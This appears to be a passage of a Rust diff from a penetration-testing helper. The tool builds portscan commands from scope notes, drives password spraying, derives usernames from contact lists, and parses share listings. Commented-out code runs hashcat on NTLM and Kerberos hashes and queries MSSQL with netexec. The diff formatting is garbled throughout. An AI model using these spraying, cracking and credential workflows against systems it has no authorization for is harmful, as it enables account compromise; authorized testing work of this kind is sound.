if enumeration_read_res.is_err(){
|
||||||
|
let error = enumeration_read_res.err().unwrap();
|
||||||
|
println!("{}","error reading enumeration notes!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
}
|
}
|
||||||
else if line.contains("- "){
|
else{
|
||||||
println!("{}", line)
|
let enumeration_text = enumeration_read_res.unwrap();
|
||||||
}
|
let sections: Vec<&str> = enumeration_text.split("\n---\n").collect();
|
||||||
}
|
let mut records_dict = HashMap::new();
|
||||||
|
let mut subs_dict = HashMap::new();
|
||||||
}
|
let mut extrapolated_dict = HashMap::new();
|
||||||
|
for section in sections{
|
||||||
|
let mut domain_name = String::new();
|
||||||
pub fn build_cs_portscan_cmd(project: &Project){
|
let mut domain_records = Vec::new();
|
||||||
let mut general_note_path = project.notes_folder.clone();
|
let mut subdomains = Vec::new();
|
||||||
general_note_path.push("general.md");
|
let lines: Vec<&str> = section.split("\n").collect();
|
||||||
println!("Reading from: {}", general_note_path.display());
|
if section.contains("## DNS Records"){
|
||||||
let mut ranges = Vec::new();
|
for line in &lines{
|
||||||
let general_note_string = read_to_string(general_note_path);
|
if line.contains("####"){
|
||||||
let mut _note_string = String::new();
|
domain_name = line.split_whitespace().collect::<Vec<&str>>()[1].to_owned();
|
||||||
match general_note_string{
|
}
|
||||||
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
if line.contains("|"){
|
||||||
_=> _note_string = general_note_string.unwrap()
|
let data: Vec<&str> = line.split("|").collect();
|
||||||
}
|
if data.len() == 5{
|
||||||
let lines: Vec<&str> = _note_string.split("\n").collect();
|
if !data.contains(&"Domain name") || !data.contains(&"----"){
|
||||||
for line in lines{
|
domain_records.push(format!("{}\t{}\t{}", data[1], data[2], data[3]));
|
||||||
if line.contains("|"){
|
}
|
||||||
if line.contains("."){
|
}
|
||||||
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
}
|
||||||
if ip.contains(","){
|
}
|
||||||
let ips: Vec<&str> = ip.split(",").collect();
|
records_dict.insert(domain_name.to_owned(), domain_records);
|
||||||
for ip in ips{
|
}
|
||||||
ranges.push(ip.trim_end().trim_start());
|
if section.contains("Subdomain Enumeration"){
|
||||||
|
for line in &lines{
|
||||||
|
if line.contains("####"){
|
||||||
|
domain_name = line.split_whitespace().collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
if line.contains("|"){
|
||||||
|
let data: Vec<&str> = line.split("|").collect();
|
||||||
|
if data.len() == 4{
|
||||||
|
subdomains.push(format!("{}\t{}", data[1], data[2]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
subs_dict.insert(domain_name.to_owned(), subdomains);
|
||||||
|
}
|
||||||
|
if section.contains("Email Enumeration"){
|
||||||
|
let section_parts: Vec<&str> = section.split("### ").collect();
|
||||||
|
for part in section_parts{
|
||||||
|
let mut domain_name = String::new();
|
||||||
|
let mut emails = Vec::new();
|
||||||
|
if part.contains("## "){
|
||||||
|
let part_lines: Vec<&str> = part.split("\n").collect();
|
||||||
|
for line in part_lines{
|
||||||
|
if line.contains("##"){
|
||||||
|
domain_name = line.split_whitespace().collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if part.contains("Extrapolated Emails"){
|
||||||
|
let part_lines: Vec<&str> = part.split("\n").collect();
|
||||||
|
for line in part_lines{
|
||||||
|
if line.contains("@"){
|
||||||
|
emails.push(line.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
extrapolated_dict.insert(domain_name, emails);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
}
|
||||||
ranges.push(ip.trim_end().trim_start());
|
println!("\nDNS RECORDS");
|
||||||
|
for domain in records_dict.keys(){
|
||||||
|
println!("{}", domain);
|
||||||
|
println!("total records:{}", &records_dict[domain].len());
|
||||||
|
for recrod in &records_dict[domain]{
|
||||||
|
println!("{}", recrod);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("\nSUB DOMAINS");
|
||||||
|
for domain in subs_dict.keys(){
|
||||||
|
println!("{}", domain);
|
||||||
|
println!("total subs:{}", &subs_dict[domain].len());
|
||||||
|
for sub in &subs_dict[domain]{
|
||||||
|
println!("{}", sub);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("\nEXTRAPOLATE EMAILS");
|
||||||
|
for domain in extrapolated_dict.keys(){
|
||||||
|
println!("{}", domain);
|
||||||
|
for email in &extrapolated_dict[domain]{
|
||||||
|
println!("{}", email);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let portscan_cmd = "portscan !!! 1-1024,1433,2222,3306,3389,5000-6000,8000,8080,8443 icmp 512";
|
|
||||||
let mut _range_command = String::new();
|
|
||||||
let combined_ranges = ranges.join(",");
|
|
||||||
let final_command = portscan_cmd.replace("!!!", &combined_ranges);
|
|
||||||
println!("{}", final_command);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn find_file(dir: &PathBuf, file_name: &str) -> Option<String>{
|
fn find_file(dir: &PathBuf, file_name: &str) -> Option<String>{
|
||||||
@@ -231,6 +363,7 @@ fn nefarious_config(tools_dir: &PathBuf) -> String{
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
fn msolspray_config(tools_dir: &PathBuf) -> String{
|
fn msolspray_config(tools_dir: &PathBuf) -> String{
|
||||||
let mut msolspray_path = String::new();
|
let mut msolspray_path = String::new();
|
||||||
let mut outline = String::new();
|
let mut outline = String::new();
|
||||||
@@ -318,6 +451,7 @@ fn msolspray_config(tools_dir: &PathBuf) -> String{
|
|||||||
return outline;
|
return outline;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn password_spray_help(project: &Project, season: String, lseason: String, year: i32, tools_dir: &PathBuf, config_path: &PathBuf){
|
pub fn password_spray_help(project: &Project, season: String, lseason: String, year: i32, tools_dir: &PathBuf, config_path: &PathBuf){
|
||||||
let mut wait_time:u64 = 0;
|
let mut wait_time:u64 = 0;
|
||||||
let mut wait_time_response = String::new();
|
let mut wait_time_response = String::new();
|
||||||
@@ -357,7 +491,7 @@ pub fn password_spray_help(project: &Project, season: String, lseason: String, y
|
|||||||
Err(_e) => println!("we need you to put in the minutes for the obervation window please!")
|
Err(_e) => println!("we need you to put in the minutes for the obervation window please!")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let mut wait_dur = Duration::from_secs(wait_time);
|
let wait_dur = Duration::from_secs(wait_time);
|
||||||
let mut password_spray_file = project.notes_folder.clone();
|
let mut password_spray_file = project.notes_folder.clone();
|
||||||
password_spray_file.push("password_spray.md");
|
password_spray_file.push("password_spray.md");
|
||||||
println!("{}", password_spray_file.display());
|
println!("{}", password_spray_file.display());
|
||||||
@@ -371,6 +505,7 @@ pub fn password_spray_help(project: &Project, season: String, lseason: String, y
|
|||||||
password_spray_string = password_spray_read_result.unwrap();
|
password_spray_string = password_spray_read_result.unwrap();
|
||||||
}
|
}
|
||||||
let mut passwords = Vec::new();
|
let mut passwords = Vec::new();
|
||||||
|
let mut sprayed_passwords = Vec::new();
|
||||||
println!("loading lines to parse...");
|
println!("loading lines to parse...");
|
||||||
for line in password_spray_string.split("\n"){
|
for line in password_spray_string.split("\n"){
|
||||||
if line.len() > 3{
|
if line.len() > 3{
|
||||||
@@ -395,6 +530,12 @@ pub fn password_spray_help(project: &Project, season: String, lseason: String, y
|
|||||||
}
|
}
|
||||||
passwords.push(password);
|
passwords.push(password);
|
||||||
}
|
}
|
||||||
|
else{
|
||||||
|
let words: Vec<&str> = line.split_whitespace().collect();
|
||||||
|
let password = words.last().unwrap().to_string();
|
||||||
|
println!("{} already sprayed, making note...", &password);
|
||||||
|
sprayed_passwords.push(password);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
println!("passwords loaded, and parsed!");
|
println!("passwords loaded, and parsed!");
|
||||||
@@ -405,7 +546,6 @@ pub fn password_spray_help(project: &Project, season: String, lseason: String, y
|
|||||||
"2\n" => outline = msolspray_config(tools_dir),
|
"2\n" => outline = msolspray_config(tools_dir),
|
||||||
_ => println!("unkown tool to use, try again...")
|
_ => println!("unkown tool to use, try again...")
|
||||||
}
|
}
|
||||||
let mut sprayed_passwords = Vec::new();
|
|
||||||
for password in &passwords{
|
for password in &passwords{
|
||||||
let mut _spraycontinue = String::new();
|
let mut _spraycontinue = String::new();
|
||||||
let mut printline = outline.replace("||PASSWORD||", password);
|
let mut printline = outline.replace("||PASSWORD||", password);
|
||||||
@@ -455,3 +595,388 @@ pub fn password_spray_help(project: &Project, season: String, lseason: String, y
|
|||||||
clear().unwrap();
|
clear().unwrap();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*pub fn crack_hashes(cracking_rig: &String, project: &Project, terminal: &String, rockyou: &String, rule: &String){
|
||||||
|
let mut hash_file = String::new();
|
||||||
|
println!("trying to automatically find hashes.txt file...");
|
||||||
|
let find_result = find_file(&project.files_folder, "hashes.txt");
|
||||||
|
if find_result.is_some(){
|
||||||
|
hash_file = find_result.unwrap();
|
||||||
|
println!("hash file found!");
|
||||||
|
let mut res = String::new();
|
||||||
|
println!("is {} the file you want to crack?", hash_file);
|
||||||
|
match stdin().read_line(&mut res){
|
||||||
|
Ok(_r) => (),
|
||||||
|
Err(_e) => {println!("we need input here dummy! returning..."); return;}
|
||||||
|
}
|
||||||
|
res = res.to_lowercase();
|
||||||
|
if res.contains("n"){
|
||||||
|
println!("ooof ok, where is the file you want then?");
|
||||||
|
loop{
|
||||||
|
match stdin().read_line(&mut hash_file){
|
||||||
|
Ok(_r) => break,
|
||||||
|
Err(_e) => println!("we need input here dummy! try again...")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if res.contains("y"){
|
||||||
|
println!("nice! checking for cracking directory...");
|
||||||
|
let listing_res = process::Command::new("ssh").arg(&cracking_rig).arg("'ls ~'").output();
|
||||||
|
if listing_res.is_err(){
|
||||||
|
println!("Error checking for cracking directory!");
|
||||||
|
println!("Error: {}", listing_res.unwrap_err());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let listing_stdout = listing_res.unwrap().stdout;
|
||||||
|
let listing = String::from_utf8_lossy(&listing_stdout);
|
||||||
|
if listing.contains("hash_cracking") == false{
|
||||||
|
println!("no folder found, creating it...");
|
||||||
|
let mkdir = process::Command::new("ssh").arg(&cracking_rig).arg("'mkdir ~/hash_cracking'").status();
|
||||||
|
if mkdir.is_err(){
|
||||||
|
println!("error creating directory! try again...");
|
||||||
|
println!("Error: {}", mkdir.unwrap_err());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let scp_arg = format!("'scp {} {}:~/hash_cracking/{}'", &hash_file, cracking_rig, &hash_file);
|
||||||
|
let scp_res = process::Command::new("ssh").arg(&cracking_rig).arg(scp_arg).status();
|
||||||
|
if scp_res.is_err(){
|
||||||
|
println!("error uploading hashes file!");
|
||||||
|
println!("Error: {}", scp_res.unwrap_err());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
println!("nice, hach file uploaded! determining correct terminal command...");
|
||||||
|
let terminal = terminal.split(" ").collect::<Vec<&str>>()[0];
|
||||||
|
process::Command::new(terminal).arg("-e").arg("ssh").arg(&cracking_rig);
|
||||||
|
let mut hash_type_res = String::new();
|
||||||
|
let mut cracking_arg = String::new();
|
||||||
|
let mut crack_box = String::new();
|
||||||
|
let mut crack_box_res = String::new();
|
||||||
|
println!("do you use a distrobox to crack passwords?");
|
||||||
|
loop{
|
||||||
|
match stdin().read_line(&mut crack_box_res){
|
||||||
|
Ok(_r) => break,
|
||||||
|
Err(_e) => println!("we need input here dummy, try again")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
crack_box_res = crack_box_res.to_lowercase();
|
||||||
|
if crack_box_res.contains("y"){
|
||||||
|
println!("What's the distrobox's name?");
|
||||||
|
loop{
|
||||||
|
match stdin().read_line(&mut crack_box){
|
||||||
|
Ok(_r) => break,
|
||||||
|
Err(_e) => println!("we need input here dummy, try again!")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
crack_box = "no".to_owned();
|
||||||
|
}
|
||||||
|
|
||||||
|
if crack_box == "no".to_owned(){
|
||||||
|
cracking_arg = format!("sudo hashcat -m ||MODE|| -a 0 -r {} /home/{}/hash_cracking/{} {}", rule, cracking_rig.split("@").collect::<Vec<&str>>()[1], &hash_file, &rockyou);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
cracking_arg = format!("distrobox enter --root {} -- sudo -S hashcat -m ||MODE|| -a 0 -r {} /home/{}/hash_cracking/{} {}", crack_box, rule, cracking_rig.split("@").collect::<Vec<&str>>()[1], &hash_file, &rockyou);
|
||||||
|
}
|
||||||
|
loop{
|
||||||
|
println!("Hash type?");
|
||||||
|
print!("
|
||||||
|
1.) kerberos
|
||||||
|
2.) ntlm
|
||||||
|
3.) other
|
||||||
|
");
|
||||||
|
let _res = stdin().read_line(&mut hash_type_res);
|
||||||
|
if _res.is_err(){
|
||||||
|
println!("we need input here dummy! try again...");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
match hash_type_res.as_str(){
|
||||||
|
"1\n" => {cracking_arg = cracking_arg.replace("||MODE||", "19700"); break;},
|
||||||
|
"2\n" => {cracking_arg = cracking_arg.replace("||MODE||", "1000"); break;},
|
||||||
|
"3\n" => {let mut mode = String::new();
|
||||||
|
println!("code for the mode you want to use?");
|
||||||
|
loop{
|
||||||
|
match stdin().read_line(&mut mode){
|
||||||
|
Ok(_r) => break,
|
||||||
|
Err(_e) => println!("we need input here dummy, try again...")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cracking_arg = cracking_arg.replace("||MODE||", &mode);
|
||||||
|
break;
|
||||||
|
},
|
||||||
|
_ => println!("unknown selection... try again...")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let spaw_res = process::Command::new(terminal).arg("-e").arg("ssh").arg(&cracking_rig).arg(cracking_arg).spawn();
|
||||||
|
if spaw_res.is_err(){
|
||||||
|
println!("error spawing new terminal to ssh with!");
|
||||||
|
println!("ERROR: {}", spaw_res.unwrap_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn get_mssql_column_names(project: &Project) -> Option<JoinHandle<()>>{
|
||||||
|
let mut notes_file = project.notes_folder.clone();
|
||||||
|
notes_file.push("l00t/db_stuff");
|
||||||
|
println!("NOTE: this funtion relies on netexec, make sure its installed properly!");
|
||||||
|
let mut servers = Vec::new();
|
||||||
|
let username = get_user_input("username for the databases?");
|
||||||
|
let password = get_user_input("password for the databases?");
|
||||||
|
let local_auth = get_user_input("Will you be using Windows Authentication for this?").to_lowercase();
|
||||||
|
loop{
|
||||||
|
for server in &servers{
|
||||||
|
println!("{}", server);
|
||||||
|
}
|
||||||
|
let new_server = get_user_input("server to add? (enter DONE when you're finished)");
|
||||||
|
if new_server == "DONE".to_owned(){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
servers.push(new_server);
|
||||||
|
}
|
||||||
|
let db_handle = thread::spawn(move ||{
|
||||||
|
for server in servers{
|
||||||
|
let mut db_notes_path = notes_file.clone();
|
||||||
|
let mut dbs = Vec::new();
|
||||||
|
if local_auth.contains("n"){
|
||||||
|
let netexec_cmd_res = Command::new("proxychains")
|
||||||
|
.arg("netexec")
|
||||||
|
.arg("mssql")
|
||||||
|
.arg(&server)
|
||||||
|
.arg("-u")
|
||||||
|
.arg(&username)
|
||||||
|
.arg("-p")
|
||||||
|
.arg(&password)
|
||||||
|
.arg("--local-auth")
|
||||||
|
.arg("-q")
|
||||||
|
.arg("\"SELECT name FROM master.sys.databases\"")
|
||||||
|
.output();
|
||||||
|
if netexec_cmd_res.is_err(){
|
||||||
|
let error = netexec_cmd_res.err().unwrap();
|
||||||
|
println!("error running netexec command!");
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let output_string = String::from_utf8(netexec_cmd_res.unwrap().stdout).unwrap();
|
||||||
|
let words: Vec<&str> = output_string.split_whitespace().collect();
|
||||||
|
for word in words {
|
||||||
|
if word.contains("name:"){
|
||||||
|
let db = word.split(":").collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
db_notes_path.push(&db);
|
||||||
|
dbs.push(db);
|
||||||
|
fs::create_dir_all(&db_notes_path).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return Some(db_handle);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
pub fn partse_gathercontacts(project: &Project){
|
||||||
|
fn format_names(names: Vec<&str>) -> HashMap<&str, Vec<String>>{
|
||||||
|
let mut formated_data = HashMap::new();
|
||||||
|
let mut flast = Vec::new();
|
||||||
|
let mut fdotlast = Vec::new();
|
||||||
|
let mut fdashlast = Vec::new();
|
||||||
|
let mut firstl = Vec::new();
|
||||||
|
let mut firstdotlast = Vec::new();
|
||||||
|
let mut firstlast = Vec::new();
|
||||||
|
let mut last_vec = Vec::new();
|
||||||
|
let mut first_vec = Vec::new();
|
||||||
|
for name in names{
|
||||||
|
let name_vec: Vec<&str> = name.split("|").collect();
|
||||||
|
if name_vec.len() == 2{
|
||||||
|
let first = name_vec[0];
|
||||||
|
let last = name_vec[1];
|
||||||
|
let first_chars: Vec<char> = first.chars().collect();
|
||||||
|
let last_chars: Vec<char> = last.chars().collect();
|
||||||
|
flast.push(format!("{}{}", &first_chars[0], &last));
|
||||||
|
fdotlast.push(format!("{}.{}", &first_chars[0], &last));
|
||||||
|
fdashlast.push(format!("{}-{}", &first, &last));
|
||||||
|
firstl.push(format!("{}{}", &first, &last_chars[0]));
|
||||||
|
firstdotlast.push(format!("{}.{}", &first, &last));
|
||||||
|
firstlast.push(format!("{}{}", &first, &last));
|
||||||
|
last_vec.push(format!("{}", &last));
|
||||||
|
first_vec.push(format!("{}", &first));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
formated_data.insert("flast", flast);
|
||||||
|
formated_data.insert("fdotlast", fdotlast);
|
||||||
|
formated_data.insert("fdashlast", fdashlast);
|
||||||
|
formated_data.insert("firstl", firstl);
|
||||||
|
formated_data.insert("firstdotlast", firstdotlast);
|
||||||
|
formated_data.insert("firstlast", firstlast);
|
||||||
|
formated_data.insert("last", last_vec);
|
||||||
|
formated_data.insert("fisrt", first_vec);
|
||||||
|
return formated_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
let gather_file = get_user_input("path to your gather contacts output?");
|
||||||
|
print!("
|
||||||
|
supported formats:
|
||||||
|
flast
|
||||||
|
f.last
|
||||||
|
f-last
|
||||||
|
firstl
|
||||||
|
first.last
|
||||||
|
firstlast
|
||||||
|
last
|
||||||
|
\n");
|
||||||
|
let format = get_user_input("format of usernames?");
|
||||||
|
let domain = get_user_input("domain name?");
|
||||||
|
let gather_source = fs::read_to_string(gather_file);
|
||||||
|
if gather_source.is_err(){
|
||||||
|
let error = gather_source.err().unwrap();
|
||||||
|
println!("{}","error reading gather contacts output!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let gather_source_string = gather_source.unwrap();
|
||||||
|
let gather_source_lines: Vec<&str> = gather_source_string.split("\n").collect();
|
||||||
|
let mut names = String::new();
|
||||||
|
for line in gather_source_lines{
|
||||||
|
if line.len() > 2{
|
||||||
|
let line_vec: Vec<&str> = line.split("\t").collect();
|
||||||
|
let first = line_vec[1].trim();
|
||||||
|
let last = line_vec[2].trim();
|
||||||
|
if first.len() > 1 && last.len() >1 {
|
||||||
|
let name = format!("{}|{}",first, last);
|
||||||
|
names = format!("{} {}", names, name.trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let users: Vec<&str> = names.split(" ").collect();
|
||||||
|
let data = format_names(users);
|
||||||
|
let mut email_text_path = project.files_folder.clone();
|
||||||
|
let mut email_note_path = project.notes_folder.clone();
|
||||||
|
email_text_path.push("working/extrapolated_emails.txt");
|
||||||
|
email_note_path.push("enumeration.md");
|
||||||
|
let email_text_res = OpenOptions::new().append(true).create(true).open(email_text_path);
|
||||||
|
if email_text_res.is_err(){
|
||||||
|
let error = email_text_res.err().unwrap();
|
||||||
|
println!("{}","error opening email text file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let email_notes_res = OpenOptions::new().append(true).create(true).open(email_note_path);
|
||||||
|
if email_notes_res.is_err(){
|
||||||
|
let error = email_notes_res.err().unwrap();
|
||||||
|
println!("{}","error opeing email notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut email_text_file = email_text_res.unwrap();
|
||||||
|
let mut email_note_file = email_notes_res.unwrap();
|
||||||
|
let mut write_success = true;
|
||||||
|
let note_wriet_res = write!(email_note_file, "# Email Enumeration\n");
|
||||||
|
if note_wriet_res.is_err(){
|
||||||
|
let error = note_wriet_res.err().unwrap();
|
||||||
|
println!("{}","error writing to email notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
write_success = false;
|
||||||
|
}
|
||||||
|
if write_success{
|
||||||
|
write!(email_note_file, "## {}\n", &domain).unwrap();
|
||||||
|
write!(email_note_file, "### Extrapolated Emails\n").unwrap();
|
||||||
|
}
|
||||||
|
println!("data gathered, printing emails and saving files...\n\n");
|
||||||
|
for email in &data[&format.to_lowercase().trim()]{
|
||||||
|
let outline = format!("{}@{}", email, domain);
|
||||||
|
println!("{}", &outline);
|
||||||
|
write!(email_note_file, "{}\n", outline).expect("error writing email notes file!");
|
||||||
|
write!(email_text_file, "{}\n", outline).expect("error writing email text file!");
|
||||||
|
}
|
||||||
|
if write_success{
|
||||||
|
write!(email_note_file, "\n---\n").unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*pub fn get_all_host_addresses(project: &Project){
|
||||||
|
println!("to do");
|
||||||
|
}*/
|
||||||
|
|
||||||
|
pub fn get_scope_entries(project: &Project) -> Option<Vec<String>>{
|
||||||
|
let mut general_path = project.notes_folder.clone();
|
||||||
|
general_path.push("general.md");
|
||||||
|
let genera_read_res = read_to_string(general_path);
|
||||||
|
if genera_read_res.is_err(){
|
||||||
|
let error = genera_read_res.err().unwrap();
|
||||||
|
println!("{}","ooof error reading your general notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let general_string = genera_read_res.unwrap();
|
||||||
|
let mut read_first_entry = false;
|
||||||
|
let general_lines: Vec<&str> = general_string.split("\n").collect();
|
||||||
|
let mut hosts = Vec::new();
|
||||||
|
for line in general_lines{
|
||||||
|
if line.contains("|"){
|
||||||
|
if !line.contains("--"){
|
||||||
|
if read_first_entry{
|
||||||
|
let data: Vec<&str> = line.split("|").collect();
|
||||||
|
let scope_entry = data[1].trim();
|
||||||
|
println!("{} found!", scope_entry);
|
||||||
|
hosts.push(scope_entry.to_owned());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
read_first_entry = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(hosts);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn parse_net_view(project: &Project){
|
||||||
|
let mut share_paths = Vec::new();
|
||||||
|
let mut note_path = project.notes_folder.clone();
|
||||||
|
let netview_output_path = PathBuf::from(get_user_input("path to the net view output file"));
|
||||||
|
let netview_read_res = read_to_string(netview_output_path);
|
||||||
|
if netview_read_res.is_err(){
|
||||||
|
print_error("error reading netview output file!", netview_read_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let netview_text = netview_read_res.unwrap();
|
||||||
|
let netview_sections: Vec<&str> = netview_text.split("shared resources at ").collect();
|
||||||
|
for section in netview_sections{
|
||||||
|
let mut server = String::new();
|
||||||
|
let lines: Vec<&str> = section.lines().collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("\\\\"){
|
||||||
|
server.push_str(line.trim());
|
||||||
|
}
|
||||||
|
else if line.contains("Disk"){
|
||||||
|
let share_name = line.split_whitespace().collect::<Vec<&str>>()[0];
|
||||||
|
let share_path = format!("{}\\{}", server, share_name);
|
||||||
|
share_paths.push(share_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_success("data gathered!");
|
||||||
|
print_informational("writing notes");
|
||||||
|
note_path.push("initial enum.md");
|
||||||
|
let open_res = open_append(¬e_path);
|
||||||
|
if open_res.is_none(){
|
||||||
|
print_error("error opening enum notes!", String::from("can't open file"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut note_file = open_res.unwrap();
|
||||||
|
let write_res = write!(note_file, "\n\n# Shares\n");
|
||||||
|
if write_res.is_err(){
|
||||||
|
print_error("error writing to note file!", write_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
for share_path in share_paths{
|
||||||
|
write!(note_file, "- [ ] {}\n\n", share_path).unwrap();
|
||||||
|
}
|
||||||
|
print_success("shares parsed, and saved to initial enum in your obsidian vault!");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,130 +1,45 @@
|
|||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::fs;
|
use std::fs::{create_dir_all, remove_dir_all, File};
|
||||||
use std::fs::File;
|
|
||||||
use std::io::Read;
|
use std::io::Read;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::io::stdin;
|
use std::env;
|
||||||
use std::io::copy;
|
use std::io::copy;
|
||||||
|
use std::process::Command;
|
||||||
|
use std::time::Duration;
|
||||||
use reqwest::blocking::get;
|
use reqwest::blocking::get;
|
||||||
use std::path::PathBuf;
|
use std::{path::Path, path::PathBuf};
|
||||||
use std::process;
|
use std::thread;
|
||||||
use std::process::exit;
|
use std::process::exit;
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
|
use crate::{get_user_input, print_informational, print_success};
|
||||||
|
|
||||||
fn setup_folders(config_path: &PathBuf) -> (String, String, String, String, String){
|
#[allow(unused)]
|
||||||
let mut delete_for_cleanup = config_path.clone();
|
|
||||||
delete_for_cleanup.pop();
|
|
||||||
let mut failed = false;
|
|
||||||
let mut new_files_folder = String::new();
|
|
||||||
let mut new_notes_folder = String::new();
|
|
||||||
let mut upcomming_files_folder = String::new();
|
|
||||||
let mut upcomming_notes_folder = String::new();
|
|
||||||
let mut tools_folder = String::new();
|
|
||||||
while new_files_folder.is_empty() || new_notes_folder.is_empty() || tools_folder.is_empty(){
|
|
||||||
if new_files_folder.is_empty(){
|
|
||||||
println!("path to save active project files?");
|
|
||||||
match stdin().read_line(&mut new_files_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if new_notes_folder.is_empty(){
|
|
||||||
println!("path to save active project notes?");
|
|
||||||
match stdin().read_line(&mut new_notes_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if tools_folder.is_empty(){
|
|
||||||
println!("path to custom tools (like github tools and what not)");
|
|
||||||
match stdin().read_line(&mut tools_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_files_folder.is_empty(){
|
|
||||||
println!("path to save upcomming project files?");
|
|
||||||
match stdin().read_line(&mut upcomming_files_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_notes_folder.is_empty(){
|
|
||||||
println!("path to save upcomming project notes?");
|
|
||||||
match stdin().read_line(&mut upcomming_notes_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
let new_files_path = PathBuf::from(&new_files_folder);
|
|
||||||
let new_notes_path = PathBuf::from(&new_notes_folder);
|
|
||||||
let upcomming_files_path = PathBuf::from(&upcomming_files_folder);
|
|
||||||
let upcomming_notes_path = PathBuf::from(&upcomming_notes_folder);
|
|
||||||
let tools_path = PathBuf::from(&tools_folder);
|
|
||||||
if new_files_path.exists() == false{
|
|
||||||
println!("active project file folder does not exist, creating...");
|
|
||||||
match fs::create_dir_all(&new_files_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating active project files Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if new_notes_path.exists() == false{
|
|
||||||
println!("active project notes folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(new_notes_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating active project notes Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if tools_path.exists() == false{
|
|
||||||
println!("tools folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(tools_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
